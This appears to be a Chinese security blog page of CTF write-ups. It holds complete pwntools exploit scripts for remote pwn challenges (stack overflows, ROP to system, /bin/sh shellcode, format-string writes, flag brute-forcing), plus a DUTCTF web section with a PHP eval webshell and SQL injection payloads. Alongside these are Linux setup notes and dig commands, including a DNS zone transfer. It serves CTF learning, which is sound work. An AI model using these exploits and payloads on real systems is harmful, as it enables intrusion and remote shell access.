PWN1:(Careful)

明显的栈溢出,通过指定v3可以覆盖返回地址,想要构造shellcode太短了,只能写10个字节,注意到i也在栈上,所以可以重置计数器,

最后exp如下:

#!/usr/bin/env python
from pwn import *

DEBUG=0
if DEBUG:
    p = process("./bin/A44DD70F78267A1CCBEE12FE0D490AD6")
    context.log_level = 'debug'
else:
    p = remote("106.75.37.29", 10000)


def resetCounter():
    p.recvuntil("input index:")
    p.sendline("28")
    p.recvuntil("input value:")
    p.sendline(str(0x0))

def writeAddress(start, addr):
    data = hex(addr)[2:].rjust(8,'0')
    print data
    p.recvuntil("input index:")
    p.sendline(str(start))
    p.recvuntil("input value:")
    p.sendline(str(int(data[6:],16)))

    p.recvuntil("input index:")
    p.sendline(str(start+1))
    p.recvuntil("input value:")
    p.sendline(str(int(data[4:6],16)))

    p.recvuntil("input index:")
    p.sendline(str(start+2))
    p.recvuntil("input value:")
    p.sendline(str(int(data[2:4],16)))

    p.recvuntil("input index:")
    p.sendline(str(start+3))
    p.recvuntil("input value:")
    p.sendline(str(int(data[:2],16)))

def setCounter():
    p.recvuntil("input index:")
    p.sendline("28")
    p.recvuntil("input value:")
    p.sendline(str(0x10))


def exp():
    writeAddress(44, 0x08048420) #scanf
    writeAddress(48, 0x080486ae) #pop pop ret
    resetCounter()

    writeAddress(52, 0x080486ed) # %d
    writeAddress(56, 0x0804a200) # /bin
    resetCounter()

    writeAddress(60, 0x08048420) #scanf
    writeAddress(64, 0x080486ae) #pop pop ret
    resetCounter()

    writeAddress(68, 0x080486ed) #%d
    writeAddress(72, 0x0804a204) #/sh
    resetCounter()

    writeAddress(76, 0x080483e0) #plt@system
    writeAddress(84, 0x0804a200)

    raw_input("bp2")
    setCounter()

    p.sendline(str(u32('/bin')))
    p.sendline(str(u32('/sh\x00')))

    p.interactive()

exp()

PWN2:(Cis2)

还是栈溢出,注意到handle_op_code中没有对safe_stack 进行边界检查,可以溢出返回地址,将payload放到全局数组buffer里,跳转到buffer即可。

Exp如下:

#!/usr/bin/env python
from pwn import *

DEBUG=0
if DEBUG:
    p = process("./bin/0A77F6D4BD5CB2700A89F9C6F8D8F116")
else:
    p = remote("106.75.37.31", 23333)

def exp():
    p.recvuntil("Fight!\n")
    for i in range(30):
        p.sendline(str(0x602088))

    p.sendline('m')
    p.sendline('w')
    p.sendline('w')
    p.sendline('w')
    p.sendline('-')
    raw_input("bp")
    payload="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    p.sendline('q'+'a'*7+payload)

    p.interactive()


exp()

PWN3 mips

第一次接触mips架构的题目,汇编代码看了半天,有个点没get到,最后没有解出来,后来看了别人的wp之后,才发现真的就差一点,栈溢出是非常明显的

并且程序输入某个值可以打印处栈地址,而且没开nx,后面就直接覆盖返回地址为stack上放置payload的地址即可。

from pwn import *

#context.log_level = 'debug'
#context.update(arch='mips', endian='little')
p = remote("106.75.32.60", 10000)

p.recvuntil("help.\n")


p.sendline('2057561479')
p.recvuntil("0x")
stack_addr = int(p.recv(8), 16)

print "stack_addr =>", hex(stack_addr)
p.sendline('1'*0x70+p32(stack_addr+8))
p.recv()

payload = 'a'*8
payload += "\xff\xff\x10\x04"
payload += "\xab\x0f\x02\x24"
payload += "\x55\xf0\x46\x20"
payload += "\x66\x06\xff\x23"
payload += "\xc2\xf9\xec\x23"
payload += "\x66\x06\xbd\x23"
payload += "\x9a\xf9\xac\xaf"
payload += "\x9e\xf9\xa6\xaf"
payload += "\x9a\xf9\xbd\x23"
payload += "\x21\x20\x80\x01"
payload += "\x21\x28\xa0\x03"
payload += "\xcc\xcd\x44\x03"
payload += "/bin/sh"

p.sendline(payload)
p.recv()

p.sendline('exit')
p.interactive()

1. PWN1 tc

Linux下的保护机制基本都没开,查看程序逻辑,发现我们输入的一个变量值v6会决定函数指针v7,其中 funcs是一个全局数组,并没有对v6值进行判断,因此我们可以通过设置v6的值让函数指向某个地址,观察全局变量区我们发现存在buf这个全局数组,而这个字符数组内容是在readIntergers函数中由用户输入的,因此我们可以控制buf的前四个字节为buf+4的地址,buf+4开始为linux shell的payload。

   

Exp如下:

#!/usr/bin/env python

from pwn import *



DEBUG = 0

buf_addr = 0x0804a0a0

#context.log_level = 'debug'

if DEBUG:

    p = process("./bin/tc1")

else:

    p = remote('106.75.9.11', 20000)



def exp():

    p.recvuntil("Divide\n")

    p.sendline("29")

    p.recvuntil("]\n")

    payload = p32(buf_addr+4)

    payload += "\x6a\x0b"

    payload += "\x58"

    payload += "\x31\xf6"

    payload += "\x56"

    payload += "\x68\x2f\x2f\x73\x68"

    payload += "\x68\x2f\x62\x69\x6e"

    payload += "\x89\xe3"

    payload += "\x31\xc9"

    payload += "\x89\xca"

    payload += "\xcd\x80"

    #raw_input("set bp")

    p.sendline(payload)

    p.interactive()


exp()

2. PWN2 echo-200

这个程序是一个静态链接的程序,checksec发现只开启了stack canary.

   

下面查看程序逻辑,逻辑比较简单,只是不断的读字符和打印字符 

 

注意到while循环里printf存在明显的格式化串漏洞,没开nx,我们就可以考虑直接将linux 获取shell的shellcode放在buffer里,利用思路如下:首先leak出buffer地址,根据size与buffer的相对偏移计算出size的地址,然后将size改为0x200,扩大buffer的size之后,下面就是劫持程序流程,我们可以计算出调用printf时返回地址与buffer的偏移,从而将返回地址修改为buffer中的某个地址,完整的利用exp如下:  

#!/usr/bin/env python
from pwn import *

DEBUG = 0
if DEBUG:
	p = process('./bin/echo-200')
else:
	p = remote('106.75.9.11', 20001)

context.log_level = 'debug'
def exp():
    p.recvuntil("\n")
    p.sendline("%5$x")
    buf_addr = u32(p.recvuntil('\n')[:-1].decode('hex')[::-1])
    print "buf_addr =>", hex(buf_addr)
    p.recvuntil("\n")
    payload = p32(buf_addr-0xc)
    payload += "%"+str(0x200-4)+"c"
    payload += "%7$hn"
    p.sendline(payload)
    p.recvuntil('\n')
    ret_addr = buf_addr - 0x20
    payload_addr = buf_addr + 0x100
    print "payload_addr =>", hex(payload_addr)
    payload_low_addr= payload_addr & 0xffff
    payload_high_addr = payload_addr >> 16
    if payload_high_addr > payload_low_addr:
	payload2 = p32(ret_addr)
	payload2 += p32(ret_addr+2)
	payload2 += '%'+str(payload_low_addr - 8)+'c'
	payload2 += "%7$hn"
	payload2 += '%'+str(payload_high_addr - payload_low_addr)+'c'
	payload2 += "%8$hn"
	payload2 += 'a'*(0x100- len(payload2))
	payload2 += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
    else:
	payload2 = p32(ret_addr+2)
	payload2 += p32(ret_addr)
	payload2 += '%'+str(payload_high_addr - 8)+'c'
	payload2 += "%7$hn"
	payload2 += '%'+str(payload_low_addr - payload_high_addr)+'c'
	payload2 += "%8$hn"
	payload2 += 'a'*(0x100- len(payload2))
	payload2 += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

    p.sendline(payload2)
    p.interactive()

exp()

 

3. PWN3 qwb3

这个程序开启了NX,查看程序逻辑,发现vulnerable_function函数存在明显的栈溢出,主要在于怎么利用

   

开始的思路是构造rop去leak write函数和read函数的地址,然后利用libc-database去找对应的libc,后来leak出来之后发现没有对应的libc版本,接下来想到直接用pwntools的dynelf去爆破system函数地址,与leak出来的write函数地址计算偏移。下次攻击时只需要leak处write函数便可计算出system函数地址,最后就是构造rop去写/bin/sh,并传给system函数,此处可以参考http://drops.wooyun.org/papers/7551,里面介绍了一段x64下一段比较通用的gadget,exp如下:

#!/usr/bin/env python
from pwn import *

DEBUG = 0
main = 0x40049d
binsh_addr = 0x601300

if DEBUG:
    p = process("./bin/qwb3")
    offset = 0x9c6d0
else:
    p = remote("106.75.8.230", 19286)
    offset = 0x9cc20

def leak(addr):
    payload = 'a'*72
    payload += p64(0x400631) # pop rsi, pop r15, ret
    payload += p64(addr) 
    payload += 'b'*8
    payload += p64(0x4005b6) 
    p.sendline(payload)
    data = p.recv(8)
    log.debug("%#x => %s" %(addr, (data or '').encode('hex')))
    p.recv()
    return data

def exp():
    '''
    p.recvuntil("\n")
    d = DynELF(leak, main, elf=ELF('./bin/qwb3'))
    system_addr = d.lookup('system', 'libc')
    write_addr = d.lookup('write', 'libc')
    print "system_addr =>", hex(system_addr)
    print "offset =>", hex(write_addr - system_addr)
    p.interactive()
    '''
    p.recvuntil("\n")
    payload = 'a'*72
    payload += p64(0x400631) # pop rsi, pop r15, ret
    payload += p64(0x601018) #got_write
    payload += p64(0)
    payload += p64(0x400633) # pop rdi, ret
    payload += p64(1) 
    payload += p64(0x400450) # plt_write
    payload += p64(0x400631) # pop rsi, pop r15, ret
    payload += p64(binsh_addr) # buf
    payload += p64(0) #rbp
    payload += p64(0x400633) # pop rdi, ret
    payload += p64(0)
    payload += p64(0x400460) # r12 read@got
    payload += p64(0x40059d) # vuln_function
    #raw_input("bp")
    p.sendline(payload)
    write_addr = u64(p.recv(8))
    system_addr = write_addr - offset
    print "system_addr =>", hex(system_addr)
    #raw_input("bp2")
    p.sendline('/bin/sh'+'\x00')
    payload2 = 'a'*72
    payload2 += p64(0x400633)  #pop rdi, ret
    payload2 += p64(binsh_addr)  #
    payload2 += p64(system_addr)
    p.sendline(payload2)
    p.recv()
    p.interactive()

exp()

4. PWN4

主程序逻辑如下:

 

其中,welcome函数和inputName函数分别是打印信息和输入用户名,checkFlag函数大概逻辑是要求你输入flag,并根据你输入的flag的长度与远程的flag相应前几个对应字符进行对比,匹配与不匹配时输出的信息不一样,这里就存在爆破的可能,首先爆破第一个字符,成功后继续爆破第二个,依次破解单个字符

 

Exp如下:

#!/usr/bin/env python
from pwn import *
import string
import time

whole_flag = ""
isCorrect = False

def exp(flag):
    global whole_flag
    global isCorrect
    p = remote('106.75.8.230', 13349)
    p.recvuntil("YOUR NAME:")
    p.sendline('aaa')
    p.recvuntil("again?\n")
    p.sendline('aaa')
    p.recvuntil("FLAG: ")
    p.sendline(flag)
    result = p.recv()
    if result.find("submit")>=0:
        whole_flag = flag
        isCorrect = True
        print "current flag:", flag,
    p.close()

#exp(whole_flag)
while len(whole_flag) < 20:
    isCorrect = False
    for i in string.ascii_letters+string.digits+'{_}':
        exp(whole_flag+i)
        time.sleep(0.5)
        if isCorrect == True:
            break
    if not isCorrect:
        print whole_flag
        break

print "whole flag:", whole_flag

  1. SQL盲注
  2. 树状数组/线段树
  3. Chrome控制台调试js
  4. python库
    • networkx 图论库(最短路径、连通子集)
    • bs4(html解析)
    • requests(爬虫)
    • bitstream(二进制流读写)
    • pp(程序并行,多cpu利用)
  5. awk(官方手册:http://www.gnu.org/software/gawk/manual/gawk.html)和 sed
  6. flash逆向工程
  7. webarchive
  8. RSA破解:
    • 大整数分解(yafu或者msieve)以及RSATool
    • 求乘法逆元(python的gmpy2库)
    • powmod(python内置函数pow(c,d,n))
  9. 数学求解——wolframalpha
  10. HTTP协议,断点续传相关,请求:Range:bytes=1111-1112 响应:Content-Range: bytes

Continue reading

首先,要明确一点的是,不管是python2还是python3,如果脚本里使用了相对路径,都无法直接运行该模块。如果要单独运行该模块,需要使用 python -m module_name 这种方式。

python3导入时,采用绝对路径。

python2导入时,采用相对路径。

Continue reading

安装阿里源

14.04源

deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse

12.04的源只需要将里面的trusty换成precise即可。
将给内容覆盖/etc/apt/sources.list内容即可。(最好先备份一下)

安装pycharm、shadowsocks

sudo add-apt-repository ppa:mystic-mirage/pycharm  # 添加 pycharm ppa源

sudo add-apt-repository ppa:hzwhuang/ss-qt5 # 添加 ss-qt5 ppa源(14.04及以上支持)

sudo apt-get update

sudo apt-get install pycharm/pycharm-community

添加之后如果遇到ppa源无法连接到的问题,可以通过Ubuntu自带的update-manager工具查看是否ppa源添加过多或者存在其他问题。

安装open-in-terminal

sudo apt-get install nautilus-open-terminal

安装中文输入

进入【settings】-> 【Lanuage Support】,点击 Install/Remove Languages,选择Chinese(simplified),点击 Apply Changes开始安装中文支持,安装成功后,在终端输入 ibus-setup,进行输入法配置,进入 Input Method标签页,添加 Chinese-Pinyin输入法即可。

附:

Ubuntu虚拟机安装之后登陆黑屏的解决方法:设置Ubuntu虚拟机的显示器,取消【加速3D图形】选项

自Kali 2.0发布以来,我们发现在安装kali之后经常会重复一些配置操作,对此,我们想要把它们分享出来,希望对大家也能够有所帮助。我们整理了一些遇到的常见问题的回答。下面是其中最常见的10个:

  • 激活或禁用智能侧边栏

有的人喜欢它,有的人不喜欢它。我们谈一下如何改变侧边栏的行为。进入【优化工具】,选择【扩展】,可以看到【Dash to dock】处于开启的状态,点击右侧的设置按钮,在【Position and size】tab页可以看到【Intelligent autohide】,只要将该选项禁用即可改变侧边栏的智能隐藏行为,附视频链接:Disabling the Kali Linux 2.0 Sidebar Autohide feature from Offensive Security on Vimeo.

  • 将你的SSH公钥添加到Kali 2.0

Kali Linux 2.0 延续了Debian的SSH配置选项, 从Jessie版本之后默认不允许root用户在没有key的情况下登录。

root@kali:~# grep Root /etc/ssh/sshd_config
PermitRootLogin without-password

比较不提倡的一种方法是将PermitRootLogin参数设置为“yes”然后重启SSH服务,可以允许root用户远程登录。如果要实现更加安全的远程root访问,可以将你的公钥添加到/root/.ssh/authorized_keys 文件中。

  • 需要时安装NVIDIA驱动

如果你有一块NVIDIA显卡,你应该按照这些步骤来为Kali 2.0安装NVIDIA驱动。

  • 需要时安装VMware或者VirualBox Guest Tools

安装虚拟机客户工具的方法并没有很大变化,在最新的Vmware(Workstation和Fusion)以及VirtualBox中都能够正常工作。

  • 禁用Gnome桌面的锁屏特性

我们没有在正式版中禁用这个特性但是会在接下来的开发中以及将来的ISO发行版中这样做。下面是禁用Gnome锁屏特性的最快方法:进入【设置】-》【电源】,将【省电】中的空白屏幕设置为【从不】(never),然后回到【设置】主界面,进入【隐私】,将【锁屏】设为关。 附视频链接:Disable the Screen Lock Gnome feature in Kali 2.0  from Offensive Security on Vimeo.

  • 不要在你安装的kali 2.0中添加额外的源

如果因为某些原因,你在安装kali过程中,当被问到“使用网络镜像”时选择了否,可能会导致你的sources.list文件中丢失一些条目。如果是这种情况,检查一下官方的源列表来确定哪些条目应该在那个文件中。即使很多非官方的说明让你这样做,你也应该避免在sources.list文件中添加多余的源。不要添加kali-dev, kali-rolling 或者任何其他的kali源除非你有特别的理由,一般情况下你是没有的。如果你不得不添加额外的源,在/etc/apt/sources.list.d/目录下添加一个新的源文件。

  • 如果以root用户运行让你觉得不爽,添加一个非root用户

我们看到很多用户使用Kali非常谨慎因为主要的系统用户是root。这经常会令我们感到困惑,因为添加一个非root用户到Kali中是一件微不足道的事情并且通过几条类似下面的简单命令很容易就能够做到这一点:

root@kali:~# useradd -m muts -G sudo -s /bin/bash
root@kali:~# passwd muts
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@kali:~#

  • 避免安装Flash Player

只要记住不要这样做。

  • 保持kali系统更新

我们每天4次同步来自debian的更新。这使得Kali的安全更新一直保持最新状态。你应该通过经常执行下面的命令来保持你的系统处在最新状态:

apt-get update
apt-get dist-upgrade

  • 避免在FSH定义的目录中手动安装工具

你有几种不同的方式来使用Kali——或者作为一个用后可仍的渗透系统或者作为一个长期使用的系统。用后可仍的方式是指安装kali作为一次性或者短期用途之后就扔掉。长期使用则是指想要每天使用Kali。这两种方式都是有效的但是需要区别对待。如果你计划每天使用Kali, 你应该避免在FSH定义的目录中手动安装程序因为这可能会与现有的包管理工具冲突。

参考:Kali Linux 2.0 Top 10 Post Install Tips

dig testfire.net

dig testfire.net MS  // 查找域名服务器信息

dig tetfire.net @8.8.8.8 // 使用指定域名服务器进行查询

dig testfire.net A +noall +answer //域名地址查询,输出简略信息

dig axfr testfire.net @usc3.akam.net  // dns区域传送

dig -x 8.8.8.8 // 反向解析

dig -x 8.8.8.8 +short // 简略信息

 

首先声明一下,这不是writeup,如果想看writeup,请移步DUTCTF writeup,本文主要介绍作为一个CTF小白混迹DUTCTF比赛的经历。

DUTCTF是大连理工的第一届CTF,是大连理工的内部比赛,后来吸引了一批外来人口也参与到其中,我也是其中之一,虽然外校的没有奖品,但是涨涨姿势也是好的。

==============以上纯属废话,下面进入正题=====================

Web安全是我接触时间比较长的,因此首先我去看了一下Web方向的题目

Web 10pt

DJ昨天才搭的网站,今天就被撸了,发现了一个一句话木马,密码是cmd,你能发现什么有用信息吗? http://dl.dutsec.cn/web/web10/index.php

因为基本没有拿站的经验,所以这道题一上来有点蒙,后来出题人提示说需要拿站经验,咳咳,好歹也是接触过一点,php的一句话木马还是知道的,基本类似于

< ?php eval($_POST['cmd']); ?>

这种,密码应该就是post字段了,但是应该post什么值呢,思来想去,无果,后来去查了一下,看到了phpinfo(),突然想到应该就是它,试了一下,没用,于是考虑写成语句 phpinfo(); 果然奏效

2015-04-29 22:58:44的屏幕截图

Web 50pt

kow才开始学php,写了个小网站,但是有点安全问题,你能利用漏洞获取flag吗?http://dl.dutsec.cn/web/05c035b1d7e82a97/index.php

首先看了下源代码,发下有源代码,其中有一句:

$sql = "select user from php where (user='$user') and (pw='$pass')";

比较经典的sql注入,直接构造payload:  user=admin’ or ‘1’=’1′)#&pass=123

2015-04-29 23:09:51的屏幕截图

web 100pt

DJ觉得kow写的网站太渣,他也来写了一个,但是说好的源码呢?(注意备份文件哦)
http://dl.dutsec.cn/web/c66ba13ab15ac925/index.php

看了一下网页源码,无任何额外信息,再看题目中的提示,备份文件,于是直接试了一下 index.php.bak,果然有东西,内容是index.php的源码,

if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: xxxxxxxxxxxxxxxxxxxxxxxxxxxxx </p>";
}

由于之前刚刚入过urldecode的坑,所以一眼就看到了urldecode的问题,对hackerDJ双重urlencode编码即可,浏览器会自动解码一次。

2015-04-29 23:19:12的屏幕截图

 

web 100pt

kow一气之下又写了一个网站,但是他好像又疏忽了http://dl.dutsec.cn/web/f73b6ed70786ef40/index.php

这道题目还是代码审计的题目(看样子大连理工比较偏爱PHP审计),看源代码,发现index.php.bak,下载打开看了一下

$user = $_POST[user];

$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysqli_query($conn,$sql);
if (!$query) {
printf("Error: %s\n", mysqli_error($conn));
exit();
}
$row = mysqli_fetch_array($query);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key: ################################ </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}

一开始考虑strcasecmp函数那有问题,众所周知,php的比较是个坑,因为php是弱类型,所以比较容易出问题,考虑是否其中一个参数为数组,$pass为md5之后的结果,只能是字符串,$row本身是查表返回跟用户名匹配的密码,所以它要么是空,要么是一个array(“pw”=>”xxxx”)的结构,也没有成为数组的可能,同时if中的第一个判断条件也杜绝了$row为NULL的情况,后来想到应该是sql查询出了问题,但是始终不知道应该怎么利用,赛完经过提示,此处是利用union select(之前对union的认识有误区),payload: user=’ union select ‘202cb962ac59075b964b07152d234b70’#&pass=123 (前面是对123的md5)

2015-04-29 23:33:04的屏幕截图

 

Continue reading